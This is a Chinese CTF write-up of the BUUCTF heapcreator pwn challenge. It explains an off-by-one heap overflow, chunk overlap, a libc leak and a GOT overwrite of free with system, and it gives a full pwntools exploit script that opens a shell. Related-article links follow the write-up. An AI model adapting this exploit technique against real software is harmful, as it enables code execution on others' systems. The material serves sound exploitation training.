hitcontraining_heapcreator

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
  2. 本地试运行一下,看看大概的情况,经典的堆的菜单
  3. 64位ida载入,main函数没有什么看头,直接看各个功能函数
    create(),一次请求申请了两个chunk,前一个chunk里记录着后一个chunk的指针和size

    edit()

    show()

    delete()
  4. 利用思路:
    利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
    申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
  5. 利用过程:
    1) 首先申请几个堆块看一下上述的堆的布局结构
create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')


和之前分析的一样,调用一次creat_heap()会创建两个chunk,第一个chunk里记录着第二个chunk的大小和地址

2)之后我将chunk0里的内容写成了‘/bin/sh’字符串,我打算泄露free的地址,然后改写为system地址,之后再执行 free(chunk0)的时候就会变成system(‘/bin/sh’)从而获取shell,顺便利用off-by-one溢出一字节的特性改写chunk1的大小,然后free掉

edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)


现在0x40~0xc0(如图标记)的内存地址已经被free掉了,我们只要在申请一个差不多大小的chunk,就能重新得到这块内存地址,实现任意读写了,但是注意,0xa0里存放的仍然是chunk2的size和地址。

create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

我重新申请了一个chunk,并在里面将chunk2的地址覆写成了free的got表地址,泄露了free的地址

得到了free的地址,泄露了libc,就可以计算出system的地址了

libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')

之前我们已经将指向chunk2地址的指针覆写成了free的got表,也就是说chunk2里的内容现在是free函数的地址,现在往chnk2里写入system函数的地址,覆写掉了free函数的地址,也就是说现在free的got表地址指向的是system函数

edit(2,p64(system_addr))

最后执行free(chunk0),经过上述的操作,就变成了system(‘/bin/sh’),获取了shell

完整exp:

from pwn import *
from LibcSearcher import * p=process('./heapcreator')
#p=remote('node3.buuoj.cn',27304)
elf=ELF('./heapcreator')
context.log_level='debug' def create(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil('Heap : ')
p.sendline(str(size))
p.recvuntil('heap:')
p.sendline(content) def edit(idx,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' :')
p.sendline(str(idx))
p.recvuntil('heap :')
p.sendline(content) def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil(' :')
p.sendline(str(idx)) def delete(idx):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil(' :')
p.sendline(str(idx)) create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
#gdb.attach(p) edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)
#gdb.attach(p)
create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
#create(0x70,p64(0)*14)
#gdb.attach(p) show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('free_addr: '+hex(free_addr)) libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')
log.success('system_addr: '+hex(system_addr)) edit(2,p64(system_addr))
#gdb.attach(p)
delete(0)
p.interactive()


在堆方面是个新手,全是自己的理解,有些地方可能不对,大佬发现错误了教教我

[BUUCTF]PWN——hitcontraining_heapcreator的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. [atAGC046F]Forbidden Tournament

    称满足第1个条件的图为竞赛图,先来分析竞赛图 结论1:竞赛图点集上的导出子图也为竞赛图(证明略) 结论2:对于一张竞赛图,若不含有3元环,则该图为DAG 证明:反证法,若其不为DAG,设最小的简单环为 ...

  2. js--迭代器总结

    前言 我们已经熟练使用set.map.array几种集合类型了,掌握了map(),for..of..,filter()等迭代集合的方法,你是否思考过,js引擎是怎么迭代的,怎么判断迭代是否结束,本文来 ...

  3. 《手把手教你》系列技巧篇(四十五)-java+ selenium自动化测试-web页面定位toast-上篇(详解教程)

    1.简介 在使用appium写app自动化的时候介绍toast的相关元素的定位,在Web UI测试过程中,也经常遇到一些toast,那么这个toast我们这边如何进行测试呢?今天宏哥就分两篇介绍一下. ...

  4. [FJOI2021]游记

    高一这条命早在\(NOIP\)就没了,现在不过是强行续命罢了,希望死的不要很难看. 高二重开一档,最后一条命了,希望能高二进队\(Orz\). \(Day -2\) 开始敲板子. 先写了个交互的题,猜 ...

  5. 洛谷 P5469 - [NOI2019] 机器人(区间 dp+拉格朗日插值)

    洛谷题面传送门 神仙题,放在 D1T2 可能略难了一点( 首先显然对于 P 型机器人而言,将它放在 \(i\) 之后它会走到左边第一个严格 \(>a_i\) 的位置,对于 Q 型机器人而言,将它 ...

  6. 2021-2-3-利用anaconda+prefetch+aspera从NCBI的SRA数据库中下载原始测序数据

    目录 1.Conda连接不上镜像源问题 2. aspera不能再独立使用 3.使用prefetch搭配aspera 4. prefetch下载方法 记录下下载过程,为自己和后人避坑. 1.Conda连 ...

  7. R 语言实战-Part 3 笔记

    R 语言实战(第二版) part 3 中级方法 -------------第8章 回归------------------ #概念:用一个或多个自变量(预测变量)来预测因变量(响应变量)的方法 #最常 ...

  8. Perl语言入门14-17

    ---------第十四章 字符串与排序------------------- index查找子字符串 my $stuff = "howdy world!"; my $where ...

  9. [Linux] 非root安装GCC9.1.0

    说明 一般Linux系统自带或公共的GCC版本都很低,如目前我们的服务器版本的GCC还停留在gcc-4.9.3,而官网已到达9.2版本(下载http://ftp.gnu.org/gnu/gcc/) , ...

  10. Macbookpro vim操作键说明

    i → Insert 模式,按 ESC 回到 Normal 模式. x → 删当前光标所在的一个字符.:wq → 存盘 + 退出 (:w 存盘, :q 退出) (陈皓注::w 后可以跟文件名)dd → ...